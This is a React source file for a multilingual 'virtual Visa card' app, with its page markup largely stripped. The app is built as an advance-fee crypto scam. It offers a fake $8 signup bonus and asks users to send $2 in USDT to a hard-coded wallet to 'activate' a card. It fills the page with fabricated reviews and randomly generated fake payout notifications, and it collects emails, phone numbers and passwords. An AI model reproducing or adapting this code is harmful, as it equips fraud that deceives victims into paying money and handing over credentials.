import React, { useState, useEffect } from 'react'; import { CreditCard, Wallet, User, Eye, EyeOff, Copy, Globe, Lock, CheckCircle, Star, Send, ArrowDownCircle, LogIn, Smartphone, Mail, ShieldCheck, Bell } from 'lucide-react'; const App = () => { // --- State Management --- const [lang, setLang] = useState('en'); // en, fr, cn const [isLoggedIn, setIsLoggedIn] = useState(false); const [activeTab, setActiveTab] = useState('home'); const [showCardNumber, setShowCardNumber] = useState(false); const [isActivated, setIsActivated] = useState(false); const [balance, setBalance] = useState(0.00); // Starts at 0, becomes 8 after login const [authMethod, setAuthMethod] = useState('email'); // email or phone const [notification, setNotification] = useState(null); // USDT Wallet Address (Fixed) const ADMIN_WALLET = "TXSwL5phMfb6o5bFsn8cAb67LR6AndMrcq"; // --- Translations --- const t = (key) => { const translations = { en: { loginTitle: "Join the Global Payment Network", loginSubtitle: "Get $8 Bonus upon registration", email: "Email Address", phone: "Phone Number", password: "Password", loginBtn: "Register & Claim $8", reviewsTitle: "Trusted by Global Shoppers", home: "Home", deposit: "Deposit", withdraw: "Withdraw", profile: "Profile", balance: "Total Balance", activateCard: "Activate Card", activateDesc: "Deposit $2 to unlock your Visa", depositTitle: "Top-up via USDT (TRC20)", copy: "Copy", copied: "Copied!", withdrawTitle: "Withdraw Funds", iban: "IBAN Transfer", usdt: "USDT Transfer", locked: "Card Locked", cvv: "CVV", exp: "Expires", status: "Status", active: "Active", inactive: "Inactive", bonusMsg: "Congratulations! You received $8 startup bonus.", paymentDesc: "Send exactly $2 to the address below to activate your card.", simulate: "Simulate Payment (Demo)", withdrawDesc: "Withdraw your funds to any bank or crypto wallet.", review1: "Worked perfectly for my AliExpress orders!", review2: "Finally, I can pay for Netflix without issues.", review3: "Best virtual card for buying from Taobao.", review4: "Instant activation, love the USDT top-up!", review5: "Used it for Spotify & Google Play. 5 Stars.", review6: "Very fast support and low fees.", safe: "100% Secure", noFees: "0% Fees", justReceived: "just received", payout: "$10 Payout", bonus: "$8 Bonus" }, fr: { loginTitle: "Rejoignez le réseau de paiement mondial", loginSubtitle: "Obtenez 8$ de bonus à l'inscription", email: "Adresse E-mail", phone: "Numéro de Téléphone", password: "Mot de passe", loginBtn: "S'inscrire et Réclamer 8$", reviewsTitle: "Approuvé par les acheteurs mondiaux", home: "Accueil", deposit: "Dépôt", withdraw: "Retrait", profile: "Profil", balance: "Solde Total", activateCard: "Activer la Carte", activateDesc: "Déposez 2$ pour débloquer votre Visa", depositTitle: "Recharger via USDT (TRC20)", copy: "Copier", copied: "Copié!", withdrawTitle: "Retirer des Fonds", iban: "Virement IBAN", usdt: "Transfert USDT", locked: "Carte Verrouillée", cvv: "CVV", exp: "Exp", status: "Statut", active: "Actif", inactive: "Inactif", bonusMsg: "Félicitations ! Vous avez reçu 8$ de bonus.", paymentDesc: "Envoyez exactement 2$ à l'adresse ci-dessous pour activer.", simulate: "Simuler le Paiement (Démo)", withdrawDesc: "Retirez vos fonds vers n'importe quelle banque ou portefeuille crypto.", review1: "A parfaitement fonctionné pour mes commandes AliExpress !", review2: "Enfin, je peux payer Netflix sans problèmes.", review3: "Meilleure carte virtuelle pour acheter sur Taobao.", review4: "Activation instantanée, j'adore le rechargement USDT !", review5: "Utilisé pour Spotify et Google Play. 5 Étoiles.", review6: "Support très rapide et frais réduits.", safe: "100% Sécurisé", noFees: "0% Frais", justReceived: "vient de recevoir", payout: "Paiement de 10$", bonus: "Bonus de 8$" }, cn: { loginTitle: "加入全球支付网络", loginSubtitle: "注册即送 $8 奖金", email: "电子邮件", phone: "手机号码", password: "密码", loginBtn: "注册并领取 $8", reviewsTitle: "深受全球购物者信赖", home: "首页", deposit: "充值", withdraw: "提现", profile: "我的", balance: "总余额", activateCard: "激活卡片", activateDesc: "充值 $2 解锁您的 Visa 卡", depositTitle: "通过 USDT (TRC20) 充值", copy: "复制", copied: "已复制!", withdrawTitle: "提取资金", iban: "IBAN 转账", usdt: "USDT 转账", locked: "卡片已锁定", cvv: "安全码", exp: "有效期", status: "状态", active: "活跃", inactive: "未激活", bonusMsg: "恭喜!您获得了 $8 启动奖金。", paymentDesc: "向下方地址发送 $2 以激活您的卡片。", simulate: "模拟支付 (演示)", withdrawDesc: "提取资金到任何银行或加密钱包。", review1: "在 AliExpress 购物非常顺畅!", review2: "终于可以毫无问题地支付 Netflix 了。", review3: "在淘宝购物的最佳虚拟卡。", review4: "即时激活,超爱 USDT 充值功能!", review5: "用于 Spotify 和 Google Play。五星好评。", review6: "客服响应很快,费用低。", safe: "100% 安全", noFees: "0% 手续费", justReceived: "刚收到", payout: "$10 提现", bonus: "$8 奖金" } }; return translations[lang][key] || key; }; // --- Helpers --- const showNotification = (message) => { setNotification(message); setTimeout(() => setNotification(null), 3000); }; const copyToClipboard = (text) => { if (navigator.clipboard && navigator.clipboard.writeText) { navigator.clipboard.writeText(text).then(() => showNotification(t('copied'))); } else { const textarea = document.createElement('textarea'); textarea.value = text; document.body.appendChild(textarea); textarea.select(); document.execCommand('copy'); document.body.removeChild(textarea); showNotification(t('copied')); } }; const handleLogin = (e) => { e.preventDefault(); setIsLoggedIn(true); setBalance(8.00); showNotification(t('bonusMsg')); }; const handleSimulateDeposit = () => { setIsActivated(true); setBalance(prev => prev + 2); showNotification("Payment Received! Card Activated. +$2.00"); setActiveTab('home'); }; // --- Live Data Simulation --- const [currentReview, setCurrentReview] = useState(0); const [liveAction, setLiveAction] = useState({ user: "User****88", country: "🇩🇿", type: "bonus" }); const [showLiveAction, setShowLiveAction] = useState(true); useEffect(() => { // Cycle Reviews const reviewInterval = setInterval(() => { setCurrentReview((prev) => (prev + 1) % 6); // We have 6 reviews now }, 4000); // Simulate Live Payouts const actionInterval = setInterval(() => { setShowLiveAction(false); setTimeout(() => { const users = ["Ahmed", "Sarah", "Chen", "Karim", "John", "Maria", "Youssef"]; const countries = ["🇩🇿", "🇫🇷", "🇨🇳", "🇺🇸", "🇦🇪", "🇸🇦", "🇬🇧"]; const types = ["bonus", "payout"]; setLiveAction({ user: `${users[Math.floor(Math.random() * users.length)]}****${Math.floor(Math.random() * 99)}`, country: countries[Math.floor(Math.random() * countries.length)], type: types[Math.floor(Math.random() * types.length)] }); setShowLiveAction(true); }, 500); }, 5000); return () => { clearInterval(reviewInterval); clearInterval(actionInterval); }; }, []); const reviewsData = [ { user: "Sarah M.", loc: "France", text: t('review1'), item: "AliExpress", icon: "🛍️" }, { user: "Ahmed K.", loc: "Algeria", text: t('review2'), item: "Netflix", icon: "🎬" }, { user: "Li Wei", loc: "China", text: t('review3'), item: "Taobao", icon: "📦" }, { user: "John D.", loc: "USA", text: t('review4'), item: "Crypto", icon: "💰" }, { user: "Maria G.", loc: "Spain", text: t('review5'), item: "Spotify", icon: "🎵" }, { user: "Youssef", loc: "UAE", text: t('review6'), item: "Amazon", icon: "🛒" }, ]; // --- Components --- const VirtualCard = () => (
{t('activateDesc')}
{isActivated ? (showCardNumber ? '4895 9876 1234 5678' : '**** **** **** 5678') : '•••• •••• •••• ••••'}
{isActivated && ( )}Holder
MEMBER NO. 8832
{t('exp')}
12/29
{liveAction.country} {liveAction.user}
{t('justReceived')} {liveAction.type === 'bonus' ? t('bonus') : t('payout')}
"{review.text}"
{t('balance')}
{t('activateDesc')}
{t('paymentDesc')}
{ADMIN_WALLET}
{t('withdrawDesc')}